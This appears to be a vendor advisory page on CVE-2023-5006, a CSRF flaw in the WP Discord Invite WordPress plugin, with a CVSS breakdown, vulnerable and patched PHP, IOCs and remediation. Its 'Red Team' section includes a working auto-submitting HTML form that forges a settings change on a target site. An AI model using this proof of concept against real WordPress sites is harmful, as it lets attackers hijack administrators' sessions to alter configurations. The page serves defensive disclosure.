CVE-2023-5006
Executive Summary
CVE-2023-5006 is a Cross-Site Request Forgery (CSRF) vulnerability in the WP Discord Invite WordPress plugin, affecting versions prior to 2.5.1. This flaw allows an unauthenticated attacker to trick a logged-in administrator into performing unintended actions, such as modifying plugin settings or triggering Discord invite-related operations, without the administrator's knowledge. The vulnerability stems from missing CSRF nonce validation on certain plugin actions. Given the WordPress ecosystem context, this issue is specific to the plugin's implementation and not the underlying web server (Apache/Nginx). No public proof-of-concept (PoC) or exploit code has been released, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of the plugin by checking its checksum against the repository's published hash. No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Base Score: 4.3 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – the victim must be tricked into clicking a crafted link or submitting a form.
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: Low (I:L) – attacker can modify plugin settings but not data.
- Availability Impact: None (A:N)
Threat Level: Medium. Exploitation requires social engineering, but the impact is limited to configuration changes.
Deep Dive & Mechanics
The WP Discord Invite plugin provides functionality to generate Discord invite links and manage related settings. The vulnerability exists because certain administrative actions (e.g., saving settings, generating invites) lack CSRF nonce verification. In WordPress, CSRF tokens (nonces) are used to ensure that requests originate from the legitimate admin interface. Without this protection, an attacker can craft a malicious HTML page or email that, when visited by an authenticated admin, submits a forged request to the vulnerable endpoint.
Attack Flow:
- Attacker identifies the vulnerable endpoint (e.g.,
/wp-admin/admin-post.php?action=wp_discord_invite_save_settings). - Attacker crafts a malicious HTML form that auto-submits to this endpoint with attacker-controlled parameters.
- Attacker lures a logged-in WordPress admin to visit the crafted page (e.g., via phishing email or malicious link).
- The admin's browser sends the forged request, including their valid session cookies.
- The plugin processes the request without checking the CSRF nonce, allowing the attacker to modify plugin settings.
Vulnerable vs. Patched Code
Vulnerable Code (version < 2.5.1):
// In wp-discord-invite.php or similar
add_action('admin_post_wp_discord_invite_save_settings', 'wp_discord_invite_save_settings');
function wp_discord_invite_save_settings() {
// No nonce check
update_option('wp_discord_invite_settings', $_POST['settings']);
wp_redirect(admin_url('options-general.php?page=wp-discord-invite'));
}
Patched Code (version 2.5.1):
add_action('admin_post_wp_discord_invite_save_settings', 'wp_discord_invite_save_settings');
function wp_discord_invite_save_settings() {
// Added nonce verification
if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'wp_discord_invite_save_settings')) {
wp_die('Security check failed.');
}
update_option('wp_discord_invite_settings', $_POST['settings']);
wp_redirect(admin_url('options-general.php?page=wp-discord-invite'));
}
Exploitation & Lab Setup
Red Team (Attacker)
Since no public exploit code exists, a manual CSRF attack can be demonstrated:
- Craft the malicious HTML page:
<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php?action=wp_discord_invite_save_settings" method="POST">
<input type="hidden" name="settings[discord_invite_code]" value="attacker_controlled_code">
<input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
- Host the page on an attacker-controlled server or send as an HTML email.
- Lure an admin to visit the page. The form auto-submits, changing the Discord invite code to the attacker's value.
Blue Team (Defender)
- Monitor for unusual admin actions – Look for
admin-post.phprequests with unexpected parameters, especially from non-admin IPs. - Check for missing nonce errors – Enable WordPress debug logging to detect nonce failures.
- Review plugin settings – Periodically verify that Discord invite codes and other settings have not been tampered with.
Indicators of Compromise (IOCs)
- Network: HTTP POST requests to
/wp-admin/admin-post.phpwithaction=wp_discord_invite_save_settingsand no_wpnonceparameter. - File: Modified
wp_optionstable entries whereoption_nameiswp_discord_invite_settingswith unexpected values. - Log: WordPress debug log entries containing "Nonce verification failed" for the plugin's actions.
- Behavior: Sudden changes to Discord invite codes or plugin settings without admin interaction.
Detection Engineering
YARA Rule
Sigma Rule
Suricata Rule
Remediation & Mitigation
- Immediate: Upgrade the WP Discord Invite plugin to version 2.5.1 or later.
- Workaround: If immediate upgrade is not possible, disable the plugin until patched.
- General: Implement a Web Application Firewall (WAF) rule to block requests to
admin-post.phpwithout a valid nonce parameter. - Monitoring: Enable WordPress debug logging and monitor for nonce verification failures.
- User Training: Educate administrators about phishing risks and the importance of verifying URLs before clicking.
Valters IT
Securing Digital Frontiers
Security researchers use these queries on Shodan.io to find vulnerable systems globally.
Full Shodan queries for this CVE are available through the ValtersIT API. They were moved behind the API in response to large-scale automated scraping, and to keep this independently-researched intelligence sustainable. The written analysis above remains fully open.